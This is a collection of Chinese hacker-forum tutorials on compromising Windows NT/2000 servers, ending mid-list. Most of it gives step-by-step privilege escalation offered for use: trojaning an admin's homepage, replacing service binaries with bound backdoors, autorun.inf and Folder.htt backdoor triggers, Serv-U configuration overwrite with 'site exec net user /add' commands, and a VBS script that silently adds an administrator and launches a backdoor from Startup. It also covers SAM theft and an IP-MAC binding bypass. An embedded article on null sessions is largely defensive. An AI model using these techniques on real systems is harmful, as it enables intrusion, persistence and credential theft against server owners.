还有一种思路，我们知道，一个网站的网管通常会将自己的主页设为IE打开后的默认主页，以便于管理。我们就可以利用这一点，将他自己的主页植上网页木马……然后等他打开IE……呵呵，他怎么也不会想到自己的主页会给自己种上木马吧？
其实利用社会工程学有很多种方法，想作为一个合格黑客，这可是必学的哦！多动动你自己的脑子，你才会成功！
2、本地溢出。
微软实在是太可爱了，这句话也不知是哪位仁兄说的，真是不假，时不时地就会给我们送来一些溢出漏洞，相信通过最近的MS-04011大家一定又赚了一把肉鸡吧？其实我们在拿到了Guest权限的shell后同样可以用溢出提升权限。最常用的就是RunAs.exe、 winwmiex.exe 或是PipeUpAdmin等等。上传执行后就可以得到Admin权限。但一定是对方没有打过补丁的情况下才行，不过最近微软的漏洞一个接一个，本地提升权限的exploit也会出来的，所以大家要多多关心漏洞信息，或许下一个exploit就是你写出来的哦！
3、利用scripts目录的可执行权限。
这也是我们以前得到webshell后经常使用的一招，原理是Scripts目录是IIS下的可运行目录，权限就是我们梦寐以求的SYSTEM权限。常见的使用方法就是在U漏洞时代我们先上传idq.dll到IIS主目录下的Scripts目录，然后用ispc.exe进行连接，就可以拿到system权限，不过这个是在Microsoft出了SP3之后就行不通了，其实我们仍可以利用此目录，只要我们上传别的木马到此目录，我举个例子就比如是winshell好了。然后我们在IE中输入：
http://targetIP/Scripts/木马文件名.exe
等一会，看到下面进度条显示“完成”时，可以了，连接你设定的端口吧！我这里是默认的5277，连接好后就是SYSTEM权限了！这时你要干什么我就管不着了……嘿嘿
4、替换系统服务。
这可是广大黑友乐此不疲的一招。因为windows允许对正在运行中的程序进行改动，所以我们就可以替换他的服务以使得系统在重启后自动运行我们的后门或是木马！首先，通过你获得的guest权限的shell输入：net start命令，察看他所运行的服务。此时如果你对windows的系统服务熟悉的话，可以很快看出哪些服务我们可以利用。
C:\WINNT\System32\>net start
已经启动以下 Windows 服务:
COM+ Event System
Cryptographic Services
DHCP Client
Distributed Link Tracking Client
DNS Client
Event Log
Help and Support
IPSEC Services
Logical Disk Manager
Logical Disk Manager Administrative Servic
Network Connections
Network Location Awareness (NLA)
Protected Storage
Remote Procedure Call (RPC)
Rising Process Communication Center
Rising Realtime Monitor Service
Secondary Logon
Security Accounts Manager
Shell Hardware Detection
System Event Notification
System Restore Service
Telephony
Themes
Upload Manager
WebClient
Windows Audio
Windows Image Acquisition (WIA)
Windows Management Instrumentation
Windows Time
Wireless Zero Configuration
Workstation
命令成功完成。
我先在我的机器上运行一下命令做个示范（大家别黑我呀），注意我用红色标注的部分，那是我安装的瑞星。Rising Process Communication Center服务所调用的是CCenter.exe，而Rising Realtime Monitor Service服务调用的是RavMonD.exe。这些都是第三方服务，可以利用。（强烈推荐替换第三方服务，而不要乱动系统服务，否则会造成系统不稳定）于是我们搜索这两个文件，发现他们在D:\ rising\rav\文件夹中，此时注意一点：如果此文件是在系统盘的Program Files目录中时，我们要知道，如果对方是使用的NTFS格式的硬盘，那么系统盘下的这个文件夹guest权限是默认不可写的，还有Windows目录、Documents and Settings目录这些都是不可写的，所以我们就不能替换文件，只能令谋途径了。（这也是为什么我不建议替换系统服务的原因之一，因为系统服务文件都在Windows\System32目录中，不可写）但如果是FAT32格式就不用担心，由于它的先天不足，所有文件夹都是可写的。
于是就有人会问：如果是NTFS格式难道我们就没辙了吗？
当然不是，NTFS格式默认情况下除了对那三个文件夹有限制外，其余的文件夹、分区都是everyone完全控制。（也就是说我即使是IPC$的匿名连接，都会对这些地方有可写可运行权限！）所以一旦对方的第三方服务不是安装在那三个文件夹中，我们就可以替换了！我就拿CCenter下手，先将它下载到本地机器上（FTP、放到IIS主目录中再下载等等……）然后拿出你的文件捆绑机，找到一个你最拿手的后门……呵呵，捆绑好后，上传，先将对方的CCenter.exe文件改个名CCENTBAK.exe，然后替换成自己的CCenter。现在只需要等对方的机器重启，我们的后门就可以运行了！由于Windows系统的不稳定，主机在一个礼拜后就会重启，（当然如果你等不及的话，可以对此服务器进行DDOS攻击迫使他重启，但我并不赞同！）此时登上你的后门，就是System权限了！
5、替换admin常用程序。
如果对方没有你所能利用的服务，也可以替换对方管理员常用的程序，例如QQ，MSN等等，具体替换方法与替换服务一样，只是你的后门什么时候可以启动就得看你的运气了。
6、利用autorun .inf或desktop.ini。
我们常会碰到这种事：光盘放进光驱，就会自动跳出来一段FLASH，这是为什么？呵呵，你到光盘的根目录中看看，是否有一个autorun.inf的文件？用记事本打开来看看，是不是有这么一句话：autorun=xxx.exe 这就是你刚才所看到的自动运行的程序了。
于是我们就可以利用这个来提升我们的权限。先配置好一个后门，（我常用的是winshell，当然你不用这个也行）上传到他D盘下的任意一个文件夹中，然后从你那个自运行的光盘中把autorun.inf文件也上传，不过上传前先将autorun=xxx.exe 后面的xxx.exe改为你配置的后门文件途径、文件名，然后再上传到d盘根目录下，加上只读、系统、隐藏属性。OK就等对方admin浏览D盘，我们的后门就可以启动了！（当然，这必须是在他没有禁止自动运行的情况下才行。）
另外有相同作用的是desktop.ini。大家都知道windows支持自定义文件，其实它就是通过在文件夹中写入特定文件——desktop.ini与Folder.htt来实现的，我们就可以利用修改这文件来达到我们的目的。
首先，我们现在本地建立一个文件夹，名字不重要，进入它，在空白处点右键，选择“自定义文件夹”（xp好像是不行的）一直下点，默认即可。完成后，你就会看到在此目录下多了两个名为Folder setting的文件架与desktop.ini的文件，（如果你看不到，先取消“隐藏受保护的操作系统文件”）然后我们在Folder setting目录下找到Folder.htt文件，记事本打开，在任意地方加入以下代码：
<OBJECT ID=”RUNIT” WIDTH=0 HEIGHT=0 TYPE=”application/x-oleobject” CODEBASE=”你的后门文件名”>
</OBJECT>
然后你将你的后门文件放在Folder setting目录下，把此目录与desktop.ini一起上传到对方任意一个目录下，就可以了，只要等管理员浏览了此目录，它就执行了我们的后门！（如果你不放心，可以多设置几个目录）
7、Serv-U提升权限
利用Serv-U提升权限共有三种方法，溢出是第一种，我之前已经说过，这里就不介绍了。我要讲的是其余两种办法。
办法一：要求：对Serv-u安装目录有完全控制权。
方法：进入对方的Serv-U目录，察看他的ServUDaemon.ini，这是Serv-U的配置文件，如果管理员没有选择将serv- u的所有配置写入注册表的话，我们就可以从这个文件中看到Serv-U的所有信息，版本、IP、甚至用户名与密码！早些版本的密码是不加密的，但是后来是经过了MD5加密。所以不能直接得到其密码。不过我们仍然有办法：先在本地安装一个Serv-U（版本最好新点），将你自己的ServUDaemon.ini文件用从他那下载下来的ServUDaemon.ini 覆盖掉，重起一下Serv-U，于是你上面的所有配置都与他的一模一样了。我们新建一个用户，什么组不重要，重要的是将他的主目录改为对方的系统盘，然后加上执行权限！这个最重要。更改完后应用，退出。再将你更改过的ServUDaemon.ini 文件上传，覆盖掉他的文件，然后就等他的Serv-U重启更新配置，之后我们就可以登入他的FTP。进入后执行以下命令：
Cd windows
Cd System32
Quote site exec net.exe user wofeiwo /add
Quote site exec net.exe localgroup administrators wofeiwo /add
Bye
然后你就有了一个叫wofeiwo的系统管理员了，还等什么?登陆3389，大功告成！
办法二：Serv-u开了两个端口，一个是21，也就是ＦＴＰ了，而另一个是43958，这个端口是干什么的？嘿嘿，这个是Ｓｅｒｖ－Ｕ的本地管理端口。但是默认是不准除了１２７．０．０．１外的ｉｐ连接的，此时就要用到FPIPE.exe文件，这是一个端口转发程序，上传他，执行命令：
Fpipe –v –l 3333 –r 43958 127.0.0.1
意思是将4444端口映射到43958端口上。
然后就可以在本地安装一个Serv-u，新建一个服务器，IP填对方IP，帐号为LocalAdministrator 密码为#1@$ak#.1k;0@p 连接上后你就可以管理他的Serv-u了，之后提升权限的方法参考办法一。我就不赘述了。
8、SQL帐户密码泄露。
如果对方开了MSSQL服务器，我们就可以通过用SQL连接器加管理员帐号，因为MSSQL是默认的SYSTEM权限。
要求：你得到了对方MSSQL管理员密码（可以从他的连接数据库的ASP文件中看到）,对方没有删除xp_cmdshell
方法：使用Sqlexec.exe，在host 一栏中填入对方IP，User与Pass中填入你所得到的用户名与密码。Format选择xp_cmdshell”%s”即可。然后点击connect，连接上后就可以在CMD一栏中输入你想要的CMD命令了。
唔……升个懒腰，好累阿，终于写完8个方法了，发发牢骚……（以下省略N字符）
总之，以上的8种方法并不是绝对的，最主要的是你的思路，每种方法互相结合，才能发挥其应有的效应。
另：由于水平有限，欢迎各位跟帖指出不足，也希望大家能提出你的想法，共同讨论。


[转载]IP和MAC捆绑的破解

信息来源：ANYSIDE
我们学校最近将MAC和IP进行了捆绑，又在服务器（Win2K）上进行了上网时间的限制，真是烦死人了，我想我可是一个从不受限制的人啊，怎么可以就这样束手就擒呢！古话说得好“上有政策，下有对策”，那我就来干掉它，说干就干。
    原理如下：
    MAC和IP捆绑是在服务器上，那么大家想想，作用范围应该是什么呢？当然也只有在服务器对客户机上了，但是如果我修改了客户机上的IP，那服务器上的怎样呢？如果你已经想到这了，那就已经理论的破解了捆绑了。
    步骤如下：
    1、首先要探明IP的范围和被限制的IP的范围，若IP是172.16.xxx.xxx，MAC是52-54-AB-12-34-56，那么IP范围应该是在172.16.0.1——172.16.255.255，我想不太可能都捆绑完吧，否则你就只能等着die了。
    2、对172.16.0.1——172.16.255.255做一次完整的扫描，以防造成不必要的麻烦（IP冲突），引起网管的注意，那样就不管了。
    3、找到没有人使用的IP，从172.16.255.255往172.16.0.1找，因为一般的网管是从172.16.0.1开始使用的，后面的一般没有使用，突破口就在这儿了。
    4、在网上邻居->属性->TCP/IP属性固定刚才拿到的IP地址，95/98/ME请看第5步，2K、XP至此完成，打开IE试试吧，又飞翔在INTERNET上了。
    5、在95/98/ME系统上修改了IP，会提示重启，以防机器安装还原卡或类似的产品只能不重启，那就在我的电脑->属性->网卡->先禁用后再启用（需要等一会）->确定，现在打开IE试试，也已经可以了.
    至此完成破解
    解决方法：
    安装ISA一类的代理服务软件进行管理，最安全的是划分VLAN，不过交换机得支持才行。


NT系统下的空连接

文章作者：Meteor
概述
谜语："什么时候是NULL而不是null？"
答案："当它是一个空连接时。"
空连接是在没有信任的情况下与服务器建立的会话，此文将讨论在NT4.0及Windows2000下的空连接问题，将研究连接的使用及弱点，同时将显示如何控制和消除这些弱点。
在NT 4.0下的LANMAN会话
在我们开始讨论空连接之前，我们需要知道连接是什么，有一个非常好的关于NTLM验证的讨论在URL：
http://www.mircosoft.com/msj/defaultframe.asp?page=/msj/0299/security/security0299.htm
&nav=/msj/0299/newnav.htm
security/security0299.htm
&nav=/msj/0299/newnav.htm

Windows NT 4.0使用挑战响应协议与远程机器建议一个会话，这个会话是一个安全隧道，通过它参与隧道的机器之间可以互通信息，这个事件的顺序如下：
1) 会话请求者（客户）对会话接收者（服务器）传送一个数据包，请求安全隧道的建立。
2) 服务器产生一个随机的64位数（挑战）传送回客户。
3) 客户取得这个由服务器产生的64位数，用试图建立连接的帐号的口令打乱它，将结果返回到服务器（响应）。
4) 服务器接受响应发送到本地安全验证（LSA），LSA确认请求者身份通过使用用户正确的口令核实响应。如果请求者的帐号是服务器的本地帐号，核实本地发生；如果请求的帐号是一个域的帐号，响应传送到域控制器去核实。当对挑战的响应核实为正确，一个访问令牌产生，然后传送给客户。客户使用这个访问令牌连接到服务器上的资源直到建议的会话被终止。

在Windows 2000下 LANMAN 会话 - Kerberos 验证
Windows 2000使用Kerberos 建立一个会话"入场券"，对Kerberos v5的RFC文档可在下面地址找到： http://www.ietf.org/rfc/rfc1510.txt
事件发生的顺序如下：

1) 客户为一个TGT（票据授权票据）传送一个请求到KDC（密钥分发中心），这个请求包含了用用户口令散列算法加密的预验证数据，这个预验证数据也在最后包含了一个保证TGT不被截获的时间戳。KDC运行在承认入场券的域控制器上。
2) KDC 从它的数据库中提取用户标识的散列，用它解密预验证数据，如果解密进行有一个非常近的时间戳，进程继续。
3) 服务器产生一个TGT，它包含其它一些事项，如一个用用户散列口令加密的会话key，它也包含了标识用户和所属组的安全标识符（SID）。
4) 用户使用用户口令的散列解密会话key。
5) 客户使用入场券访问服务器上的资源，客户现在被验证，一个会话建立。

用这种方式产生的入场券包含下面未加密的信息：

发布入场券的Windows 2000 域的域名
入场券标识的名字

入场券也包含了下面加密的信息：

入场券"标记"
会话加密key
包含被发布入场券的用户帐号的域名
入场券被发布的用户的主要的名字
会话开始时间
会话结束时间：当入场券过期，入场券有一个有限的使用期限。
客户机器的地址
包含客户允许访问信息的验证信息

什么是空连接?
现在我们理解了一个连接是什么，连接包含的访问到资源的验证信息，我们可以掀开空连接的神秘面纱了。一个空连接是与一个服务器的连接的建立，没有用户验证执行。换句话说，它是一个到服务器的匿名访问。在建立连接时没有提供可信任的用户名和口令。访问令牌（在Windows 2000上的"验证数据"）包含对用户的"S-1-5-7"的SID，一个"ANONYMOUS LOGON"的用户名，这个访问令牌包含下面伪装的组：

Everyone
NETWORK

在安全策略的限制下，这将授权访问到上面两个组有权访问的一切信息。
如何创建空连接
从一个用户点来看，一个与服务器的连接建立或在登陆时，或在其它任何需要访问到服务器资源时。例如，一个名为"BOB"的用户希望访问到名为"DATASTORE"的服务器上共享名为"DATA"的某些文件，先前他并没有验证，他将发布下面的命令：
net use * \\DATASTORE\DATA * /user:BOB
他将提示输入他的口令，相关的验证方法将去掉，假定他被验证，他将产生一个"访问令牌"或"入场券"，使用这些，他将能连接到希望的共享。
另一方面，如果空连接允许，"DATA"共享作为一个"空共享"，他只需要简单输入：
net use * \\DATASTORE\DATA "" /user:""
这将连接Bob作为一个匿名用户到"DATA"共享，不需要提供用户名或口令…一个黑客的梦想！
空连接也能通过语言如C++建立在API对话上，一个使用WIN32 API调用建立空连接的如下：
http://www.securityfocus.com/cgi-bin/vulns-item.pl?section=exploit&id=494
空连接能使用来建立连接到"空连接命名管道"，如果服务器是如此配置的话。一个"管道"是一个便利，它允许在一个系统上的进程与其它不同系统上的进程通讯。空连接也通常对共享建立连接，包括系统共享如\\servername\IPC$，IPC$是一个特殊的隐藏共享它允许在同一个系统上的两个进程间通讯（内部进程传达），IPC$共享是在机器上对服务器进程的一个分界面，它也关联一个管道所以它能被远程访问。
为什么创建空连接?
这个问题逻辑上说是："为什么mircosoft提供对空连接的支持？"在mircosoft吹捧NT和Windows2000的安全时，空连接不是或多或少绕过了验证安全吗？
在一般的感觉上，"是"，空连接趋向于破坏操作系统的下层的安全结构。然而，有强制性的原因合并它们进入mircosoft的网络，空连接最初的目的是允许未验证的机器从服务器获得浏览列表。应该记得NT和Windows 2000在机器在组里是作为"域"，域是共享同样安全边界的机器的集合，也就是说，它们共享着同样的用户和机器帐号数据库，也包括连接到彼此的口令。一个用户口令通常在域中验证一个用户，一个机器口令通常去维护机器之间和域控制器之间的安全通道。在这两样上，口令通常在机器/用户和域服务器之间建立一个信任尺寸。如果所有的通讯是在域内部，空连接将是不需要的，这不是问题，然而，经常需要域之间连接去执行下面的任务：

从一个不同域中的服务器上得到浏览列表
验证不同域中的用户

这个问题通过域之间信任关系的概念来部分完成，信任关系是两个不同域之间的一种协作关系，通过一个域同意去信任其它域的安全完整性，因此在两个域的控制器间允许信息流。在建立信任关系时口令是被商议的，基本上，信任关系是两个域间的一种验证关系。
问题是信任关系并不能解决在一个站点上内部连接的所有问题。例如，首先，建立信任关系的进程，如果"DOMAIN1"希望与"DOMAIN2"建立信任关系，它需要联系那个域的PDC为安全隧道协商一个口令，为实现此，它需要列举域中的机器，决定"DOMAIN2"的PDC的名字，有许多发现名字（随后，地址）的方法，包括WINS、DNS、LMHOSTS、AD （活动目录）等。空连接使这个进程更容易实现，因为它允许从一个非验证的机器上带有极少优先的知识直接列举域中机器和资源。
有其它情节受益于空连接，例如，考虑到在多个域站点上的管理员，因某种原因，在所有的域之间并没有建立信任关系。在一个管理员的工作过程中，经常需要连接在所有域中的资源，空连接使用户、机器和资源的列举更容易。
另一种情形，也需要空连接，就是LMHOSTS.SAM文件使用"INCLUDE "标签的环境下，包含included文件的共享点必须安装为空连接共享，关于这点的文章可以在以下站点找到：
http://support.mircosoft.com/default.aspx?scid=kb;EN-US;q121281
有一些更早一些的文章，最初是在1994年发布，但在8/8/2001更新，它应该被注释掉了，在NT 4.0 和Windows 2000 的模板LMHOSTS.SAM 文件中，许多LANMAN 方面的在Windows 2000中保留了下来。 在这也应该被提到的是，有许多卖主鼓吹在他们的软件中空连接的使用，关于这些方面一些有意思的文章在：
http://www.dcs.ed.ac.uk/home/archives/bugtraq/msg00784.html
这篇文章引用了一个卖主的一个安装进程，它在服务器上创建空连接去执行它的任务，可以想象对服务器而言是多危险，而管理员却又没意识到。在最后一个空连接有用的例子下，一个服务，运行在本地"SYSTEM"帐号下，需要访问到网络某些资源，这仅仅可能如果资源通过一个空连接可访问，在mircosoft有关于此方面的文章：
http://support.mircosoft.com/default.aspx?scid=kb;EN-US;q124184
关于这个问题，mircosoft并不推荐打开空连接，然而，他们推荐使用用户特定的帐号去运行服务。
什么是空连接的弱点？
现在我们对会话和空连接有了一个更好的理解，通常情况下，特别是空连接，表现出哪些弱点呢？有几个可能引起安全关注的原因，就如同我们无庸置疑地意识到，访问控制列表（ACL），即一系列ACE（访问控制条目）的列表，控制着在NT或Windows 2000 域中资源的访问。一个ACE通过SID指定一个用户/组，列举用户/组被允许或否认的权限。位于ACE的问题是授权对内嵌的组"Everyone"，用NT的说法，"Everyone"意味着字面上的每个人，如果"Everyone"组通过ACE有权访问到一个资源，就意味着可以访问那个资源，如管道或共享，也对"Everyone"开放的，然后资源对任何人是匿名可访问的。
那，包含哪些种类的事情呢？如果你执行一个NT4.0的out-of-the-box安装，你将注意到许多事情对"Everyone"都是可访问的，特别是系统盘的根（通常C：\），一个显著的对"Everyone"开放的是包含修复信息的文件夹：
%SystemRoot%\Repair （通常："C:\Winnt\Repair"）
一对更敏感的文件，如"sam._"，有更限制性的安全要求，但文件的大多数是位于可读的位置，为某种原因，如果一个共享点的父文件夹可用，共享是一个空连接，这个文件对任何匿名入侵者都是容易利用的。你也将注意到注册的许多区域对"Everyone"是可访问的，这使连接到一个服务器的IPC$共享成为一种可能，运行注册表编辑器（REGEDT32.EXE）去查看，甚至改变某些注册表值…来自于匿名的便利。
另外通过空连接暴露的弱点是在域中用户帐号的列举，为什么这是一个问题？因为它移走了侵占一个域帐号的一半的屏障，为伪装成其他人，你需要两部分信息：

用户名
密码

一旦你知道了用户名，它就仅仅只是一个猜测或破坏口令的问题了。如果你将域中已重命名的管理员的帐户（你肯定已重命名了管理员帐户，不是吗？）暴露的话，那么这种弱点也就达到了它的顶点。入侵者只需连接一个空会话，然后枚举用户寻找SID为500的用户即可。可以在一下站点找到可完成此任务的例子代码：
http://www.securityfocus.com/cgi-bin/vulns-item.pl?section=exploit&id=494
这个弱点对著名的"红色代码攻击"是一个非常重要的部分，它在NT4.0的SP3中得到解决。
在一个域中机器或资源的枚举也使得某人的闯入更容易，如果一个可以匿名得到域中所有机器的名字，然后列出这些机器上的资源共享，这就变成一件很简单的事情，尽力去试所有的资源直到找到一个对"Everyone"是开放的。默认情况下系统盘的根对
"Everyone"是开放，默认共享级安全应用到一个新创建的共享授权"完全访问"对"Everyone"，这个问题是显然的。
如何保护以防范攻击?
最好的阻止办法是对所有范围的可能不允许空连接，为做到这一点，攻击的评估是一个好的开始，"DumpSec"工具列举系统上的共享，同时也对每个提供安全约束，它也关注注册表权限执行其它有用的安全审核任务，DumpSec可以从以下得到：
http://www.systemtools.com/somarsoft/
有一对相关的注册表键：
HKLM\System\CurrentControlSet\Control\Lsa\RestrictAnonymous
"HKLM"参考配置单元"HKEY_LOCAL_MACHINE"，如果设置为"1"，匿名连接被限制，一个匿名用户仍然可以连接到IPC$ 共享，但限制通过这种连接得到信息，"1"值限制了匿名用户列举SAM帐号和共享；在Windows 2000 中增加了"2"，限制所有匿名访问除非特别授权。
其它应该检查的键为：
HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\NullSessionShares
和：
HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\NullSessionPipes
这些是MULTI_SZ （多线程的）注册参数，它分别地列举共享和管道，打开空连接。如果你不想打开的话，确认没有共享和管道打开。也放置安全在这些键上确认不容易更改，确认仅"SYSTEM"和"Administrators"有权访问到这些键。
在Windows 2000，安全策略中安全保护的地方，策略设置通过相关嵌入式MMC（mircosoft管理控制台）。在一个域控制器（DC）上，从"管理工具"中下拉菜单"域安全策略"MMC面板，在非DC上，下拉菜单"本地安全策略"MMC面板，你将发现一个条目：
"对匿名连接的额外限制"
在3个可能设置的值：
1."无。依赖于默认许可权限"
2."不允许枚举SAM帐号和共享"
3."没有显式匿名权限就无法访问"
最后的值是最安全的，它相当于"2"在注册表值：
HKLM\System\CurrentControlSet\Control\Lsa\RestrictAnonymous
上面讨论的，确信检验"有效的设置"，在其它水平上的策略设置能影响"有效设置"。
其它明智的步骤是限制注册表的访问，在Windows 2000 和以后版本中默认只有仅管理员和备份操作员有权网络访问到注册表，它是一个好的主意，在你的服务器上检查远程注册表访问设置，可以通过确认安全权限在以下注册键中来完成：
HKLM\System\CurrentControlSet\Control\SecurePipeServers\winreg
当一个用户企图连接到远程计算机的注册表时，在目标机器上的"server"服务检查上述（winreg）键的存在，如果这个键不存在，用户允许连接到目标机器的注册表，如果键存在，在键上的ACL被检查，如果ACL给用户读或写的访问，用户可以连接到注册表。一旦用户允许远程连接到注册表，在单独键上的ACL开始生效。例如，如果在一个给定键上安全设置为对"Everyone"允许"读"访问，通过空连接匿名"读"访问到注册表是可能的，不是一个好的想法！它将使人担心和危险的，从所有注册键中移走对"Everyone"的远程安全，所以最好的想法是不允许访问除非特定的帐号和组。有几个值在"winreg"键也应用，这些值在NT4.0是：
HKLM\...\winreg\AllowedPaths\Machine
HKLM\...\winreg\AllowedPaths\Users
这两个值是MULTI_SZ类型的，在Windows 2000下，默认没有"Users"值，这些键分别枚举哪些注册键对机器和用户的远程访问是开放的。它们能覆盖在"winreg"键上的安全，机器可能需要访问对某些服务如目录复制和假脱机打印，有两篇关于此方面的文章也包括了远程注册表访问的细节：
http://support.mircosoft.com/directory/article.asp?ID=KB;EN-US;Q186433
http://support.mircosoft.com/directory/article.asp?ID=kb;en-us;Q153183
这是一个好的想法，在服务器上安装完软件后，确认安装进程没有打开任何空连接共享和管道，事实上，在一个"真实"服务器上安装前先在一台试验机上测试总是一个好的主意，特别是如果这台服务器是放在DMZ区或外部LAN。匿名访问到一台公网或半公网的机器将是损失惨重的。
也需要记住的是对一个空连接安全令牌包含两个预设组"Everyone"和"NETWORK"，你可以定位在卷上文件的具体位置，通过更改权限来进行保护。当然这些卷必须是NTFS。除非你确实需要一个空连接来访问资源，否则用内置Authenticated Users"替代"Everyone"组。XCACLS或一个第三方的访问控制管理软件可完成此任务。然而，进行这样的操作一定要小心，尤其是用于子文件夹时。当用XCACLS时一定要打开"/E"选项，以确认是在编辑ACL而不是替代它们。在所有发现"Everyone"组的地方，将其删除，同时把相同的权限添加给"Authenticated Users"组。另外，每创建一个共享时，一定要将"Everyone"组从ACL中删除，代以"Authenticated Users"或合适的用户或组。
最后一步能采用的是设置策略对：
"从网络上访问计算机"
如果"Everyone"组享有这种特权的话，从组中移走，在从"Everyone"组撤走前确保添加这个特权给相应的用户和组。在NT4.0下，如果为一个非DC的机器上通过"用户管理器"，在一个域控制器上通过"域用户管理器"实现。在Windows 2000下通过在相应MMC安全策略管理单元下更改"用户权力指派"下的策略。
结束语
空连接创建是为了便利内部平台通讯，特别是在服务级上，然而，使用空连接也对可能危及系统安全的匿名用户暴露了信息。如果可能的话，从你的系统上完全消除空连接，如果因为其它原因不可能实现，采取所有可能的预防措施确保只暴露你想暴露的信息。如果没有的话，空连接能提供一个便利的入口进出你的系统，它可能导致安全危险。


很经典的webshell提权
文章作者：不明
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）
说到花了九牛二虎的力气获得了一个webshell，
当然还想继续获得整个服务器的admin权限，正如不想得到admin的不是好黑客～
嘻嘻～～好跟我来，看看有什么可以利用的来提升权限

第一
如果服务器上有装了pcanywhere服务端，管理员为了管理方便
也给了我们方便，到系统盘的Documents and Settings/All Us
ers/Application Data/Symantec/pcAnywhere/中下载*.cif本地
破解就使用pcanywhere连接就ok了

第二
有很多小黑问我这么把webshell的iis user权限提升
一般服务器的管理都是本机设计完毕然后上传到空间里，
那么就会用到ftp，服务器使用最多的就是servu
那么我们就利用servu来提升权限
通过servu提升权限需要servu安装目录可写～
好开始把，首先通过webshell访问servu安装文件夹下的ServUDaemon.ini把他下载
下来，然后在本机上安装一个servu把ServUDaemon.ini放到本地安装文件夹下覆盖，
启动servu添加了一个用户，设置为系统管理员，目录C:\，具有可执行权限
然后去servu安装目录里把ServUDaemon.ini更换服务器上的。
用我新建的用户和密码连接～
好的，还是连上了

ftp
ftp>open ip
Connected to ip.
220 Serv-U FTP Server v5.0.0.4 for WinSock ready...
User (ip:(none)): id //刚才添加的用户
331 User name okay, please send complete E-mail address as password.
Password:password //密码
230 User logged in, proceed.
ftp> cd winnt //进入win2k的winnt目录
250 Directory changed to /WINNT
ftp>cd system32 //进入system32目录
250 Directory changed to /WINNT/system32
ftp>quote site exec net.exe user rover rover1234 /add //利用系统的net.exe

文件加用户。
如果提示没有权限，那我们就
把后门（server.exe） 传他system32目录
然后写一个VBs教本
set wshshell=createobject ("wscript.shell")
a=wshshell.run ("cmd.exe /c net user user pass /add",0)
b=wshshell.run ("cmd.exe /c net localgroup Administrators user
        /add",0)
b=wshshell.run ("cmd.exe /c server.exe",0)
存为xx.vbe
这个教本的作用是建立user用户密码为pass
并且提升为管理员
然后执行system32目录下的server.exe
把这个教本传他 C:\Documents and Settings\All Users\「开始」菜单\程序\启动
目录
这样管理员只要一登陆就会执行那个教本.
接下来就是等了.等他登陆.

第三

就是先检查有什么系统服务，或者随系统启动自动启动的程序和管理员经常使用的软件， 比如诺顿，VAdministrator，金山，瑞星,WinRAR甚至QQ之类的，是否可以写，如果可以就修改其程序， 绑定一个批处理或者VBS，然后还是等待服务器重启。

第四

查找conn和config ,pass这类型的文件看能否得到sa或者mysql的相关密码，可能会有所
收获等等。
第五

使用Flashfxp也能提升权限，但是成功率就看你自己的运气了
首先找到FlashFXP文件夹，打开(编辑)Sites. dat，这个文件这是什么东西密码和用户名，
而且密码是加了密的。 如果我把这些文件copy回本地也就是我的计算机中，替换我本地的相应文件。然后会发现 打开flashfxp在站点中打开站点管理器一样。又可以添加N多肉鸡啦～～嘻嘻～
唔？？不对啊，是来提升权限的啊，晕，接着来别半途而废。
大家看看对方管理员的这站点管理器，有用户名和密码，密码是星号的。经过用xp星号密码 查看器查看，然后和Sites.dat中加密了密码做比较发现并未加密而是查到的密码是明文显示， 然后最终把这个网站管理员的密码从这堆东西中找
出来。那么下一步就可以链接这些新的服务器啦～～
经过测试只要把含有密码和用户名的Sites.dat文件替换到本地相应的文件就可以在本地
还原对方管理员的各个站点的密码。

第六
WIN2K+IIS5.0默认情况下应用程序保护选项是"中（共用的）"，这时IIS加载isapi是用的
iwam_computername用户身份执行。
但默认情况下WIN2K+IIS5对于一些特殊isapi又要以system身份加载。win2k+iis5 、
win2k+iis5+sp1、win2k+iis5+sp2都是简单的判断isapi的文件名，并且没有做目录限制，
以SYSTEM权限加载的isapi有：
1、 idq.dll
2、 httpext.dll
3、 httpodbc.dll
4、 ssinc.dll
5、 msw3prt.dll
6、 author.dll
7、 admin.dll
8、 shtml.dll
9、 sspifilt.dll
10、compfilt.dll
11、pwsdata.dll
12、md5filt.dll
13、fpexedll.dll
所以利用这很容易得到SYSTEM权限。并且判断文件名的时候有个bug，比如请求/scripts/test%81%5cssinc.dll也将会认为是请求的ssinc.dll,就是分离文件路径的时候没有考虑到双字节的 远东版问题。ssinc.dll在处理包含文件路径的时候也有一个问题，就是"/"、"\"只识别了一个 "/"，所以如果请求里面使用"\"，就会错误的处理包含文件路径，有可能泄露东西或者出现权限 漏洞，这种漏洞很多别的地方（ php、asp等）也还存在。
加载这些isapi不是单以文件名做依据了，而是加了路径，应该是修正了此问题。
一般默认情况下是：
1、 idq.dll d:\winnt\system32\idq.dll
2、 httpext.dll d:\winnt\system32\inetsrv\httpext.dll
3、 httpodbc.dll d:\winnt\system32\inetsrv\httpodbc.dll
4、 ssinc.dll d:\winnt\system32\inrtsrv\ssinc.dll
5、 msw3prt.dll d:\winnt\system32\msw3prt.dll
6、 author.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\_vti_aut\author.dll
7、 admin.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\_vti_adm\admin.dll
8、 shtml.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\shtml.dll
9、 sspifilt.dll d:\winnt\system32\inetsrv\sspifilt.dll
10、compfilt.dll d:\winnt\system32\inetsrv\compfilt.dll
11、pwsdata.dll d:\winnt\system32\inetsrv\pwsdata.dll
12、md5filt.dll d:\winnt\system32\inetsrv\md5filt.dll
13、fpexedll.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\bin\fpexedll.dll
正常情况下这些路径都guest不能写,但如果配置不好，这些路径iis user能够写了就一样可以提升权限了
可以把ISAPIHack.dll上传到IIS的可执行目录，文件名可叫ssinc.dll或者admin.dll等（上面列的13个文件名之一）。
然后等待IIS重启加载此dll，就可以获得权限了

第七
下载系统的 %windir%\repair\sam.*（WinNT 4下是sam._ 而Windows 2000下是sam）文件，
然后用L0pht等软件进行破解，只要能拿到，肯花时间，就一定可以破解。

第八

PipeUpAdmin（Windows 2000下）, 在本机运行可以把当前用户帐号加入管理员组。普通用户和Guests组用户都可以成功运行。

第九

Serv-u Ftp Server 本地权限提升漏洞：
